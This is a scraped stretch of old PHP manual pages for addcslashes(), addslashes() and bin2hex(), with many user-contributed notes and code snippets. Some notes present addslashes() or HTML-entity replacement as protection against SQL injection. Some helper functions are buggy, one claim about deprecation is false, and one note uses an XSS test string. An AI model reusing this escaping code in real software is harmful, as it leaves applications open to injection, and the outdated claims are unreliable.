Be carefull with adding the \ to the list of encoded characters. When you add it at the last position it encodes all encoding slashes. I got a lot of \\\ by this mistake.

So always encode \ at first.
phpcoder at cyberpimp dot pimpdomain dot com 20-Jan-2005 08:02
If you are using addcslashes() to encode text which is to later be decoded back to it's original form, you MUST specify the backslash (\) character in charlist!

Example:

<?php
  $originaltext = 'This text does NOT contain \\n a new-line!';
  $encoded = addcslashes($originaltext, '\\');
  $decoded = stripcslashes($encoded);
  //$decoded now contains a copy of $originaltext with perfect integrity
  echo $decoded; //Display the sentence with it's literal \n intact
?>

If the '\\' was not specified in addcslashes(), any literal \n (or other C-style special character) sequences in $originaltext would pass through un-encoded, but then be decoded into control characters by stripcslashes() and the data would lose it's integrity through the encode-decode transaction.
ruben at intesys dot it 31-May-2004 06:51
jsAddSlashes for XHTML documents:

<?php
header("Content-type: text/xml");

print <<<EOF
<?xml version="1.0"?>
<html>
<head>
<script type="text/javascript">

EOF;

function jsAddSlashes($str) {
    $pattern = array(
        "/\\\\/"  , "/\n/"    , "/\r/"    , "/\"/"    ,
        "/\'/"    , "/&/"     , "/</"     , "/>/"
    );
    $replace = array(
        "\\\\\\\\", "\\n"     , "\\r"     , "\\\""    ,
        "\\'"     , "\\x26"   , "\\x3C"   , "\\x3E"
    );
    return preg_replace($pattern, $replace, $str);
}

$message = jsAddSlashes("\"<Hello>\",\r\n'&World'\\!");

print <<<EOF
alert("$message");
</script>
</head>
<body>
<h1>Hello, World!</h1>
</body>
</html>

EOF;
?>
21-Sep-2003 08:44
<?php
function jsaddslashes($s)
{
 $o="";
 $l=strlen($s);
 for($i=0;$i<$l;$i++)
 {
  $c=$s[$i];
  switch($c)
  {
   case '<': $o.='\\x3C'; break;
   case '>': $o.='\\x3E'; break;
   case '\'': $o.='\\\''; break;
   case '\\': $o.='\\\\'; break;
   case '"':  $o.='\\"'; break;
   case "\n": $o.='\\n'; break;
   case "\r": $o.='\\r'; break;
   default:
   $o.=$c;
  }
 }
 return $o;
}

?>
<script language="javascript">
document.write("<? echo jsaddslashes('<h1 style="color:red">hello</h1>'); ?>");
</script>

output :

<script language="javascript">
document.write("\x3Ch1 style=\"color:red\"\x3Ehello\x3C/h1\x3E");
</script>
natNOSPAM at noworrie dot NO_SPAM dot com 18-May-2002 01:22
I have found the following to be much more appropriate code example:

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\@\177..\377");
?>

This will protect original, innocent backslashes from stripcslashes.


Quote string with slashes

  • « addcslashes
  • bin2hex »
  • PHP Manual
  • String Functions
  • Quote string with slashes

addslashes

(PHP 4, PHP 5)

addslashes — Quote string with slashes

Description

string addslashes ( string $str )

Returns a string with backslashes before characters that need to be escaped. These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).

An example use of addslashes() is when you're entering data into string that is evaluated by PHP. For example, O'Reilly is stored in $str, you need to escape $str. (e.g. eval("echo '".addslashes($str)."';"); )

To escape database parameters, DBMS specific escape function (e.g. mysqli_real_escape_string() for MySQL or pg_escape_literal(), pg_escape_string() for PostgreSQL) should be used for security reasons. DBMSes have differect escape specification for identifiers (e.g. Table name, field name) than parameters. Some DBMS such as PostgreSQL provides identifier escape function, pg_escape_identifier(), but not all DBMS provides identifier escape API. If this is the case, refer to your database system manual for proper escaping method.

If your DBMS doesn't have an escape function and the DBMS uses \ to escape special chars, you might be able to use this function only when this escape method is adequate for your database. Please note that use of addslashes() for database parameter escaping can be cause of security issues on most databases.

The PHP directive magic_quotes_gpc was on by default before PHP 5.4, and it essentially ran addslashes() on all GET, POST, and COOKIE data. Do not use addslashes() on strings that have already been escaped with magic_quotes_gpc as you'll then do double escaping. The function get_magic_quotes_gpc() may come in handy for checking this.

Parameters

str

The string to be escaped.

Return Values

Returns the escaped string.

Examples

Example #1 An addslashes() example

<?php
$str = "Is your name O'Reilly?";

// Outputs: Is your name O\'Reilly?
echo addslashes($str);
?>

See Also

  • stripcslashes() - Un-quote string quoted with addcslashes
  • stripslashes() - Un-quotes a quoted string
  • addcslashes() - Quote string with slashes in a C style
  • htmlspecialchars() - Convert special characters to HTML entities
  • quotemeta() - Quote meta characters
  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc

User Contributed Notes

wyattstorch42 at outlook dot com 14-Feb-2014 01:02
@ mark at hagers dot demon dot nl :

You shouldn't use str_replace() for this. Use a function like htmlentities(), which will properly encode all user input for fields. That way, it will also work if the user types &, <, >, etc.
David Spector 04-Oct-2013 11:30
If all you want to do is quote a string as you would normally do in PHP (for example, when returning an Ajax result, inside a json string value, or when building a URL with args), don't use addslashes (you don't want both " and ' escaped at the same time). Instead, just use this function:

<?php
function Quote($Str) // Double-quoting only
    {
    $Str=str_replace('"','\"',$Str);
    return '"'.$Str.'"';
    } // Quote
?>

Modify this easily to get a single-quoting function.
Lars 03-Apr-2012 05:51
Even for simple json string backslash encodings, do not use this function. Some tests may work fine, but in json the single quote (') must not be escaped.
qeremy [atta] gmail [dotta] com 25-Feb-2012 12:11
Actually I prefer to escape the SQL queries completely (then no more challenge for data security);

<?php
function escape_query($str) {
    return strtr($str, array(
        "\0" => "",
        "'"  => "&#39;",
        "\"" => "&#34;",
        "\\" => "&#92;",
        // more secure
        "<"  => "&lt;",
        ">"  => "&gt;",
    ));
}
?>

// &#39;&#34;&#92;
echo escape_query("'\"\\\0");

// &lt;script&gt;alert(1)&lt;/script&gt;
echo escape_query("<\0script>alert(1)<\0/script>");

// See more: www.asciitable.com
boyaqb at gmail dot com 15-Aug-2011 12:34
so you can use replace single quote and double quote with HTML Entities

for example

<?php
/**
 * replcae quotes to HTML entities by names or numbers
 *
 * @param (string) escaped string value
 * @param (string) default ='number' will be return to number entities you can use ='name' to return name entities
 * Note : don't use ='name' coz (&apos;) (does not work in IE)
 */
function quote2entities($string,$entities_type='number')
{
    $search                     = array("\"","'");
    $replace_by_entities_name   = array("&quot;","&apos;");
    $replace_by_entities_number = array("&#34;","&#39;");
    $do = null;
    if ($entities_type == 'number')
    {
        $do = str_replace($search,$replace_by_entities_number,$string);
    }
    else if ($entities_type == 'name')
    {
        $do = str_replace($search,$replace_by_entities_name,$string);
    }
    else
    {
        $do = addslashes($string);
    }
    return $do;
}

echo quote2entities("I love 'PHP' for ever");
// will return I love 'PHP' for ever in browsere
// but in view code and database will be  I love &#34;PHP&#34; for ever in source
?>
cliprz at gmail dot com 27-Mar-2011 08:08
<?php

/**
 * @desc add slashes if use MySQL and check if function addslashes is exits else
 * return to escape string in MySQL .
 * same way its return to stripslashes function
 * @param string $type any string u want to insert in MySQL and display from MySQL
 * @param string $type must be add to add slashes and strip to strip slashes
 * @author Yousef Ismaeil - cliprz@gmail.com
 */
function PHP_slashes($string,$type='add')
{
    if ($type == 'add')
    {
        if (get_magic_quotes_gpc())
        {
            return $string;
        }
        else
        {
            if (function_exists('addslashes'))
            {
                return addslashes($string);
            }
            else
            {
                return mysql_real_escape_string($string);
            }
        }
    }
    else if ($type == 'strip')
    {
        return stripslashes($string);
    }
    else
    {
        die('error in PHP_slashes (mixed,add | strip)');
    }
}

?>
svenr at selfhtml dot org 01-Feb-2011 05:45
To output a PHP variable to Javascript, use json_encode().

<?php

$var = "He said \"Hello O'Reilly\" & disappeared.\nNext line...";
echo "alert(".json_encode($var).");\n";

?>

Output:
alert("He said \"Hello O'Reilly\" & disappeared.\nNext line...") ;
roysimke at microsoftsfirstmailprovider dot com 18-Jun-2010 10:35
Never use addslashes function to escape values you are going to send to mysql. use mysql_real_escape_string or pg_escape at least if you are not using prepared queries yet.

keep in mind that single quote is not the only special character that can break your sql query. and quotes are the only thing which addslashes care.
DarkHunterj 25-Aug-2009 02:11
Based on:
Danijel Pticar
05-Aug-2009 05:22
I recommend this extended version, to replace addslashes altogether(works for both strings and arrays):
<?php
function addslashesextended(&$arr_r)
{
    if(is_array($arr_r))
    {
        foreach ($arr_r as &$val)
            is_array($val) ? addslashesextended($val):$val=addslashes($val);
        unset($val);
    }
    else
        $arr_r=addslashes($arr_r);
}
?>
Danijel Pticar 05-Aug-2009 07:22
Hi,
I use this recursive function for POST. It handles multidimensional arrays.

<?php
function as_array(&$arr_r)
{
 foreach ($arr_r as &$val) is_array($val) ? as_array($val):$val=addslashes($val);
 unset($val);
}

as_array($_POST);
?>
leocullen at fastmail dot fm 06-Feb-2009 10:06
this is my version of an addslashes function, useful for processing $_POST array:

<?php
function add_slashes ($an_array) {
  foreach ($an_array as $key => $value) {
    $new_array[$key] = addslashes($an_array[$key]);
  }
}
?>

then call it:

<?php add_slashes($_POST); ?>
stuart at horuskol dot co dot uk 11-Dec-2008 11:44
Be careful on whether you use double or single quotes when creating the string to be escaped:

$test = 'This is one line\r\nand this is another\r\nand this line has\ta tab';

echo $test;
echo "\r\n\r\n";
echo addslashes($test);

$test = "This is one line\r\nand this is another\r\nand this line has\ta tab";

echo $test;
echo "\r\n\r\n";
echo addslashes($test);
Taslim Sohel (sohel62 at yahoo dot com) 08-Dec-2008 07:09
About Raymond and Aditya's post

Following code can help you to add slashes with posted array.
I just added a recursive function with Aditya's code.

<?php
//create array to temporarily grab variables
$input_arr = array();
//grabs the $_POST variables and adds slashes
foreach ($_POST as $key => $input_arr) {
    if(is_array($input_arr)){
        $_POST[$key] = addslashes_array($input_arr);
    }else{
        $_POST[$key] = addslashes($input_arr);
    }

}

// Recursive Function to add slashes with posted array.
function addslashes_array($input_arr){
    if(is_array($input_arr)){
        $tmp = array();
        foreach ($input_arr as $key1 => $val){
            $tmp[$key1] = addslashes_array($val);
        }
        return $tmp;
    }else{
        return addslashes($input_arr);
    }
}

?>
Raymond Hofman 24-Jun-2008 09:14
In addition to the post made by Aditya P Bhatt below. This code works fine for posting a single string but does not work for posting arrays.
Aditya P Bhatt (adityabhai at gmail dot com) 28-Mar-2008 06:59
Automagically add slashes to $_POST variables. It helps to prevent some sql injection attacks. Also works with $_GET variables.

FILE NAME: input_cl.php
<?php
//create array to temporarily grab variables
$input_arr = array();
//grabs the $_POST variables and adds slashes
foreach ($_POST as $key => $input_arr) {
    $_POST[$key] = addslashes($input_arr);
}
?>

Just put this at the top of your script that gets the variables. Here is an example.

Usage Example
<?php
include("input_cl.php");
// all $_POST variables have slashes added to them
$f_name = $_POST["f_name"];
$l_name = $_POST["l_name"];
$phone_num = $_POST["phone_num"];
$address1 = $_POST["address1"];
$address2 = $_POST["address2"];
$city = $_POST["city"];
$State = $_POST["State"];
$zip = $_POST["zip"];

//sql insert code goes here.
?>
Nate from RuggFamily.com 25-May-2007 04:19
If you want to add slashes to special symbols that would interfere with a regular expression (i.e., . \ + * ? [ ^ ] $ ( ) { } = ! < > | :), you should use the preg_quote() function.
yoder2 at purdue dot edu 27-Apr-2007 09:23
to quote boris-pieper AT t-online DOT de, 15-Jan-2005 06:07,

Note: You should use mysql_real_escape_string() (http://php.net/mysql_real_escape_string) if possible (PHP => 4.3.0) instead of mysql_escape_string().

You may also want to us it instead of addslashes.
sam dot fullman at verizon 20-Mar-2007 11:37
There are other functions "kind of" like this one but this should help adding slashes to a form post which also contains arrays (and you can't access runtime quotes), or you need to add slashes to an array which is already stripped:

<?php
    function addslashes_array($a){
        if(is_array($a)){
            foreach($a as $n=>$v){
                $b[$n]=addslashes_array($v);
            }
            return $b;
        }else{
            return addslashes($a);
        }
    }
?>

note this does not add slashes to the keys - you could easily modify to do this..
Adrian C 03-Mar-2007 03:06
What happends when you add addslashes(addslashes($str))? This is not a good thing and it may be fixed:

function checkaddslashes($str){
    if(strpos(str_replace("\'",""," $str"),"'")!=false)
        return addslashes($str);
    else
        return $str;
}

checkaddslashes("aa'bb");  => aa\'bb
checkaddslashes("aa\'bb"); => aa\'bb
checkaddslashes("\'"); => \'
checkaddslashes("'");  => \'

Hope this will help you
pulstar at ig dot com dot br 11-Sep-2006 04:50
May it is better use the function mysql_real_escape_string instead of addslashes when inserting data into a MySQL database. Check it at:

http://www.php.net/manual/en/function.mysql-real-escape-string.php
joechrz at gmail dot com 20-Aug-2006 02:36
Here's an example of a function that prevents double-quoting, I'm surprised noone has put something like this up yet... (also works on arrays)

<?php
function escape_quotes($receive) {
    if (!is_array($receive))
        $thearray = array($receive);
    else
        $thearray = $receive;

    foreach (array_keys($thearray) as $string) {
        $thearray[$string] = addslashes($thearray[$string]);
        $thearray[$string] = preg_replace("/[\\/]+/","/",$thearray[$string]);
    }

    if (!is_array($receive))
        return $thearray[0];
    else
        return $thearray;
}
?>
Picky 24-May-2006 09:55
This function is deprecated in PHP 4.0, according to this article:

http://www.newsforge.com/article.pl?sid=06/05/23/2141246

Also, it is worth mentioning that PostgreSQL will soon start to block queries involving escaped single quotes using \ as the escape character, for some cases, which depends on the string's encoding.  The standard way to escape quotes in SQL (not all SQL databases, mind you) is by changing single quotes into two single quotes (e.g, ' ' ' becomes ' '' ' for queries).

You should look into other ways for escaping strings, such as "mysql_real_escape_string" (see the comment below), and other such database specific escape functions.
luciano at vittoretti dot com dot br 31-Oct-2005 12:18
Note, this function wont work with mssql or access queries.
Use the function above (work with arrays too).

function addslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = addslashes_mssql($value);
        }
    } else {
        $str = str_replace("'", "''", $str);
    }

    return $str;
}

function stripslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = stripslashes_mssql($value);
        }
    } else {
        $str = str_replace("''", "'", $str);
    }

    return $str;
}
thisisroot at gmail dot com 26-Sep-2005 06:30
In response to Krasimir Slavov and Luiz Miguel Axcar:

There are several encoding schemes for inserting binary data into places it doesn't typically belong, such as databases and e-mail bodies. Check out the base64_encode() and convert_uuencode() functions for the details.
Krasimir Slavov kkslavov at yahoo dot com 16-Sep-2005 08:51
If you have problems with adding images or other binady data with addslashes() for php 4.3 >= use:

<?php
$search = array("\x00", "\x0a", "\x0d", "\x1a", "\x09");
$replace = array('\0', '\n', '\r', '\Z' , '\t');

$chrData .= str_replace($search, $replace, $Data );
?>

and put in your SQL field='$chrData' ! please remark quotes
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br) 01-Sep-2005 03:16
Hello,

If you are getting trouble to SGDB write/read HTML data, try to use this:

<?php

//from html_entity_decode() manual page
function unhtmlentities ($string) {
   $trans_tbl =get_html_translation_table (HTML_ENTITIES );
   $trans_tbl =array_flip ($trans_tbl );
   return strtr ($string ,$trans_tbl );
}

//read from db
$content = stripslashes (htmlspecialchars ($field['content']));

//write to db
$content = unhtmlentities (addslashes (trim ($_POST['content'])));

//make sure result of function get_magic_quotes_gpc () == 0, you can get strange slashes in your content adding slashes twice

//better to do this using addslashes
$content = (! get_magic_quotes_gpc ()) ? addslashes ($content) : $content;

?>
unsafed 01-May-2005 05:23
addslashes does NOT make your input safe for use in a database query! It only escapes according to what PHP defines, not what your database driver defines. Any use of this function to escape strings for use in a database is likely an error - mysql_real_escape_string, pg_escape_string, etc, should be used depending on your underlying database as each database has different escaping requirements. In particular, MySQL wants \n, \r and \x1a escaped which addslashes does NOT do. Therefore relying on addslashes is not a good idea at all and may make your code vulnerable to security risks. I really don't see what this function is supposed to do.
gv 07-Nov-2004 02:23
Regarding the previous note using addslashes/stripslahes with regular expressions and databases it looks as if the purpose of these functions gets mixed.

addslahes encodes data to be sent to a database or something similar. Here you need addslashes because you send commands to the database as command strings that contain data and thus you have to escape characters that are special in the command language like SQL.

Therefore the use of addslahses on a regex does properly store the regex in the database.

stripslashes does the opposite: it decodes an addslashes encoded string. However, retrieving data from a database works differently: it does not go through some string interpretation because you actually retrieve your binary data in your variables. In other words: the data stored in your variable is the unmodified binary data that your database returned. You do not run stripslahes on data returned from a database. That way, the regexs are retrieved correctly, too.

This is different from other data exchange like urlencoded strings that you exchange with your browser. Here the data channel uses the same encodings in both directions: therefore you have to encode data to be sent and you have to decode data received.
mark at hagers dot demon dot nl 27-Sep-2004 12:34
I was stumped for a long time by the fact that even when using addslashes and stripslashes explicitly on the field values double quotes (") still didn't seem to show up in strings read from a database. Until I looked at the source, and realised that the field value is just truncated at the first occurrence of a double quote. the remainder of the string is there (in the source), but is ignored when the form is displayed and submitted.

This can easily be solved by replacing double quotes with "&quot;" when building the form. like this:
$fld_value =  str_replace ( "\"", "&quot;", $src_string ) ;
The reverse replacement after the form submission is not necessary.
hazy underscore fakie at ringwraith dot org 12-Jul-2003 08:23
Note that when using addslashes() on a string that includes cyrillic characters, addslashes() totally mixes up the string, rendering it unusable.
phil at internetprojectmanagers dot com 10-Apr-2003 03:46
re: problem with mcrypt, addslashes and mysql

Here is my solution to the problem of characters from mcrypt creating issues with mysql calls (due to characters which aren't cleaned up by addslashes).

Solution: simply convert your encryption string to hex, then back to binary when you are ready to decrypt.

<?php
// ie.
$encrypted = addslashes($string);
$encrypted = bin2hex($encrypted);

// ... then:
$decrypted = hex2bin($encrypted);
$decrypted = stripslashes($decrypted);

// where hex2bin() is:
function hex2bin($hexdata) {
  $bindata="";

  for ($i=0;$i<strlen($hexdata);$i+=2) {
    $bindata.=chr(hexdec(substr($hexdata,$i,2)));
  }

  return $bindata;
}
?>

One word of caution: this will increase the length of your initial data string, so you will need to increase the field length for your mysql database.

Cheers, Phil
PS. I knew that I'd eventually be able to give something back to the site!
phil at internetprojectmanagers dot com 10-Apr-2003 01:47
re: encryption, addslashes and mysql

Note that mcrypt encryption may add in an apostrophe from the ascii table which cannot be protected by addslashes. It may not even be on your keyboard.

Because encryption strings are random, you may not discover it unless you test (or stumble?) on the correct sequence which inserts an apostrophe in the encrypted string.

This means that testing is even more important where encryption is concerned. If I create a solution I'll post it here.

Phil
steve at teamITS dot com 18-Jan-2003 02:53
For thelogrus, my testing shows the opposite--that a slashed string is stored correctly by MySQL.  Consider

insert into test (field1) values ('test\'test')

...which is stored as "test'test".  If you were posting "Sir'Weaser" from a form to your script and have magic_quotes_gpc on, then the string is slashed already so if you run addslashes() again you will be entering "Sir\\'Weaser" into MySQL.  In that case "Sir\'Weaser" would be the correct output.

In summary, addslashes() is not necessary if magic_quotes_gpc is on.
hoskerr at nukote dot com 13-Nov-2002 12:16
Beware of using addslashes() on input to the serialize() function.   serialize() stores strings with their length; the length must match the stored string or unserialize() will fail.

Such a mismatch can occur if you serialize the result of addslashes() and store it in a database; some databases (definitely including PostgreSQL) automagically strip backslashes from "special" chars in SELECT results, causing the returned string to be shorter than it was when it was serialized.

In other words, do this...

<?php
$string="O'Reilly";
$ser=serialize($string);    # safe -- won't count the slash
$result=addslashes($ser);
?>

...and not this...

<?php
$string="O'Reilly";
$add=addslashes($string);   # RISKY!  -- will count the slash
$result=serialize($add);
?>

In both cases, a backslash will be added after the apostrophe in "O'Reilly"; only in the second case will the backslash be included in the string length as recorded by serialize().

[Note to the maintainers: You may, at your option, want to link this note to serialize() as well as to addslashes().  I'll refrain from doing such cross-posting myself...]
php at slamb dot org 30-Oct-2002 07:48
spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that if they pass in a string that includes a "\'", you expand it to "\'''" (an escaped quote followed by a non-escaped quote. WRONG! Attackers can execute arbitrary SQL to drop your tables, make themselves administrators, whatever they want.)

The best way to be safe and correct is to:

- don't use magic quotes; this approach is bad. For starters, that's making the assumption that you will be using your input in a database query, which is arbitrary. (Why not escape all "<"s with "&lt;"s instead? Cross-site scripting attacks are quite common as well.) It's better to set up a way that does whatever escaping is correct for you when you use it, as below:

- when inserting into the database, use prepared statements with placeholders. For example, when using PEAR DB:

<?php
    $stmt = $dbh->prepare('update mb_users set password = ? where username = ?');
    $dbh->execute($stmt, array('12345', 'bob'));
?>

Notice that there are no quotes around the ?s. It handles that for you automatically. It's guaranteed to be safe for your database. (Just ' on oracle, \ and ' on PostgreSQL, but you don't even have to think about it.)

Plus, if the database supports prepared statements (the soon-to-be-released PostgreSQL 7.3, Oracle, etc), several executes on the same prepare can be faster, since it can reuse the same query plan. If it doesn't (MySQL, etc), this way falls back to quoting code that's specifically written for your database, avoiding the problem I mentioned above.

(Pardon my syntax if it's off. I'm not really a PHP programmer; this is something I know from similar things in Java, Perl, PL/SQL, Python, Visual Basic, etc.)
guy_AT_datalink_DOT_net_DOT_au 30-Mar-2002 10:58
If you're trying to escape quotes in a javascript event as such:

<img src="foo.gif" OnMouseOver="alert('<? print $myString ?>')">

It helps to perform this first:

$myString = str_replace("'", "\'", $myString);
$myString = str_replace('"', "'+String.fromCharCode(34)+'", $myString);
hybrid at n0spam dot pearlmagik dot com 09-May-2001 07:46
Remember to slash underscores (_) and percent signs (%), too, if you're going use the LIKE operator on the variable or you'll get some unexpected results.
php at NO_SPAMj-w3 dot com 03-Apr-2001 12:18
As mentioned, magic_quotes_gpc automatically adds slashes to POST and GET data and these slashes don't go in the database.  BUT, be careful of this. If you have a form with an error check, make sure you strip the slashes if your form remembers the OK fields, so the user doesn't view these automagically added slashes.


Convert binary data into hexadecimal representation

  • « addslashes
  • chop »
  • PHP Manual
  • String Functions
  • Convert binary data into hexadecimal representation

bin2hex

(PHP 4, PHP 5)

bin2hex — Convert binary data into hexadecimal representation

Description

string bin2hex ( string $str )

Returns an ASCII string containing the hexadecimal representation of str. The conversion is done byte-wise with the high-nibble first.

Parameters

str

A string.

Return Values

Returns the hexadecimal representation of the given string.

See Also

  • hex2bin() - Decodes a hexadecimally encoded binary string
  • pack() - Pack data into binary string

User Contributed Notes

Dave 13-Oct-2014 10:32
Postgresql return result in bytea so don't forget to convert_from

<?php
$sql = "SELECT convert_from(decode('". bin2hex('hex encoded string') ."', 'hex'),'UTF8')";
?>
subdivizion at gmail dot com 18-Sep-2009 02:19
Here's a function to check if a string contains any 7-bit GSM characters.

It might come useful for people working on SMS platforms.

<?php

function check_gsm($str)
{
    $arr = array(
"0x00", "0x01", "0x02", "0x03", "0x04", "0x05","0x06","0x07","0x08","0x09",
"0x0A","0x0B","0x0C","0x0D","0x0E","0x0F","0x10","0x11","0x12","0x13",
"0x14","0x15","0x16","0x17","0x18","0x19","0x1A","0x1B","0x1B0A",
"0x1B14","0x1B28","0x1B29","0x1B2F","0x1B3C","0x1B3D","0x1B3E",
"0x1B40","0x1B65","0x1C","0x1D","0x1E","0x1F","0x20","0x21","0x22",
"0x23","0x24","0x25","0x26","0x27","0x28","0x29","0x2A","0x2B","0x2C",
"0x2D","0x2E","0x2F","0x30","0x31","0x32","0x33","0x34","0x35","0x36",
"0x37","0x38","0x39","0x3A","0x3B","0x3C","0x3D","0x3E","0x3F","0x40",
"0x41","0x42","0x43","0x44","0x45","0x46","0x47","0x48","0x49","0x4A",
"0x4B","0x4C","0x4D","0x4E","0x4F","0x50","0x51","0x52","0x53","0x54",
"0x55","0x56","0x57","0x58","0x59","0x5A","0x5B","0x5C","0x5D","0x5E",
"0x5F","0x60","0x61","0x62","0x63","0x64","0x65","0x66","0x67","0x68",
"0x69","0x6A","0x6B","0x6C","0x6D","0x6E","0x6F","0x70","0x71","0x72",
"0x73","0x74","0x75","0x76","0x77","0x78","0x79","0x7A","0x7B","0x7C",
"0x7D","0x7E","0x7F");

    $strl = strlen($str);
    for ($i = 0;$i < $strl; $i++)
    {
        $char = '0x' . bin2hex(substr($str,$i,1));
        $pos = in_array($char,$arr);
        if ($pos == 1)
        {
            $j++;
        }
    }

    if ($j < $strl)
    {
        return false;
    }
    else
    {
        return true;
    }
}
?>
me at juanmaria dot com 03-Sep-2009 03:05
Regarding the fabled hex2bin, the easiest way I've found to "replace" it is the following call to function pack():

<?php
$bin_str = pack("H*" , $hex_str);
?>
chaos79 04-Oct-2008 05:30
Because the way back (hex2bin) doesn't exist on php, i've written another little function without using commands like pack:

<?php
// Convert a hex-string to binary-string (the way back from bin2hex)

function hex2bin($h)
  {
  if (!is_string($h)) return null;
  $r='';
  for ($a=0; $a<strlen($h); $a+=2) { $r.=chr(hexdec($h{$a}.$h{($a+1)})); }
  return $r;
  }

echo bin2hex('Hello'); // result: 48656c6c6f
echo hex2bin('48656c6c6f'); // result: Hello
?>
admin at purespider dot de 16-Aug-2008 02:08
The most simple way to do binary (10101010 or so) to hex is
<?PHP echo dechex(bindec(10101010)); ?>
kissifrot at gmail dot com 26-Nov-2007 11:37
hex2bin can be useful to insert data into BLOB binary fields.

for example if you want to insert the content of a file :

<?php
$filename = '/foo/bar';
$bin_content = fread(fopen($filename,"r"),filesize($filename));

// use the usual mysql_connect() function

$insert_query = "INSERT INTO mytable (blob_field) VALUES ('".bin2hex($bin_content)."')";
mysql_query($insert_query);

?>
tehjosh at gamingg dot net 12-Aug-2007 08:35
This function is for converting binary data into a hexadecimal string representation.  This function is not for converting strings representing binary digits into hexadecimal.  If you want that functionality, you can simply do this:

<?php
$binary = "11111001";
$hex = dechex(bindec($binary));
echo $hex;
?>

This would output "f9".  Just remember that there is a very big difference between binary data and a string representation of binary.
manithu at fahr-zur-hoelle dot org 09-Jan-2005 10:30
This function returns the string $str in htmlentity hex format (&#xnumber;).
It is useful to prevent spam bots indexing your email adress.

<?php

function hexentities($str) {
    $return = '';
    for($i = 0; $i < strlen($str); $i++) {
        $return .= '&#x'.bin2hex(substr($str, $i, 1)).';';
    }
    return $return;
}

?>

example:
<?php echo 'email: <address>'.hexentities('foo@bar').'</address>'; ?>
will return:

email: <address>&#x66;&#x6f;&#x6f;&#x40;&#x62;&#x61;&#x72;</address>

the browser will show foo@bar.
j_lozinskit at yahoo dot co dot uk 24-Nov-2004 02:11
A good option for creating strings with binary data for saving (for example saving an sql statement to a file) into text files or php code is to do the following:

<?php
$field=bin2hex($field);
$field=chunk_split($field,2,"\\x");
$field= "\\x" . substr($field,0,-2);
?>

this will convert your field (binary or not) into hex and then convert the hex into a string which may be placed in a php file:

FFFFFFFF -> \xFF\xFF\xFF\xFF
t0rus at dr dot com 22-Nov-2004 05:18
modified version of Thoth's hexbin and binhex to convert
any size numbers
(original doesn't take more than integer - 32bit)
<?
function hexbin($hex){
    $bin='';
    for($i=0;$i<strlen($hex);$i++)
        $bin.=str_pad(decbin(hexdec($hex{$i})),4,'0',STR_PAD_LEFT);
       return $bin;
}

function binhex($bin){
    $hex='';
    for($i=strlen($bin)-4;$i>=0;$i-=4)
        $hex.=dechex(bindec(substr($bin,$i,4)));
   return strrev($hex);
}
?>
brams006 at umn dot edu 20-Aug-2004 12:05
Here's a modified version of an earlier post (asc2bin and bin2asc) to convert an incoming ascii string to hex and out again.  For example, this is really useful if you want to insert data into a mySQL database which contains both escaped and non-escaped characters.  For example, if you want to store code snibbets in a mySQL text field:

printf("here's some \"text\".");

If you INSERT this into mySQL, it probably won't come out in friendly executable format, and you can't escape all double-quotes, nor can you strip out all the slashes.  One solution is to just convert the string to hex, store it in hex, then convert back to ascii before using it in some way:

function asc2hex ($temp) {
   $len = strlen($temp);
   for ($i=0; $i<$len; $i++) $data.=sprintf("%02x",ord(substr($temp,$i,1)));
   return $data;
}

function hex2asc($temp) {
   $len = strlen($temp);
   for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($temp,$i,2)));
   return $data;
}
mhspam at mail dot sce dot cz 23-Apr-2004 04:14
My version of quoted-printable mail subject converting function (maybe not as effective, but preserving characters which don't need conversion).
Martin
<?php
// Transfer mail subject into Quoted Printable encoding
function mail_quote_subj($str, $charset){
    $out = '';
    for($i = 0; $i < strlen($str); $i++){
        $out .= (ord($str[$i]) > 127) ? "=" . bin2hex($str[$i]) : $str[$i];
    }
    return "=?$charset?Q?".$out."?=";
};
?>
AntonioAlcorn at yahoo dot coma 20-Apr-2004 08:34
In response to Patrik:
A simpler way to print a number in binary is to use base_convert().
<? echo base_convert($bin, 10, 2); ?>
If you need it to print all 32 bits (as your function does) you can just pad it out:
<? echo str_pad(base_convert($bin, 10, 2), 32, '0', STR_PAD_LEFT); ?>
The conversion is from base 10 because when $bin is passed to base_convert(), it is converted to a string, and the default representation is in decimal.
Hope this helps.
Patrik 01-Feb-2004 06:14
I needed a little function that will print the binary as a string, here it comes.

<?php
function bin2string($bin) {
    $res = "";
    for($p=31; $p >= 0; $p--) {
      $res .= ($bin & (1 << $p)) ? "1" : "0";
    }
    return $res;
}
?>
mkr at binarywerks dot dk 29-Oct-2003 02:34
Ok, this is a better version than my previous poor example.

Running this in shell creates a progress indicator. Very useful if used when parsing large log files for instance.

#!/usr/bin/php4 -q
<?
// Displays a progress indicator
function progress($line)
{
        global $last_len;

        $del_char = pack("H" . 2, "7F");
        $line_len = strlen($line);
        $del_chars=(isset($last_len)) ? $last_len : $line_len;

        $last_len = $line_len;
        return str_repeat($del_char, ($del_chars)).$line;
}

// demo code:
for($i=0;$i<100;$i++)
{
        sleep(1);
        echo progress("i is now: $i out of 100");
}
?>
Thoth 24-Oct-2003 02:24
I thought it'll give me an "F" if i give it a "1111"...

Here's something to convert a binary-string into a hex-string and other direction too:

<?php
function hexbin($hex) {
    $bin = decbin(hexdec($hex));
    return $bin;
}

function binhex($bin) {
    $hex = dechex(bindec($bin));
    return $hex;
}
?>

simple, isn't it?
Francisco (ffaria at mutua dot com dot br) 22-Jul-2003 01:33
function to search a character in a normal string change this for a hexadecimal and take the especifical char code in hexa and replace this char and return the string

<?php
function hex_replace($pCaracter,$sCaracter,$conteudo) {

    $pHex = bin2hex($pCaracter);
    $sHex = bin2hex($sCaracter);

    $tam = strlen($conteudo);

    for($i = 0; $i <= $tam; $i++) {
        $cont = bin2hex(substr($conteudo,$i,1));

        if ($cont == $pHex) {
           $cont = $sHex;
           $hex .= $cont;
        }
    }

    for ($i=0;$i<strlen($hex);$i+=2)
          $bin .= chr(hexdec(substr($hex,$i,2)));
    return $bin;
}
?>

by from a litle brazilian. :-P
admin at tsunaquack dot com 16-Jan-2003 10:04
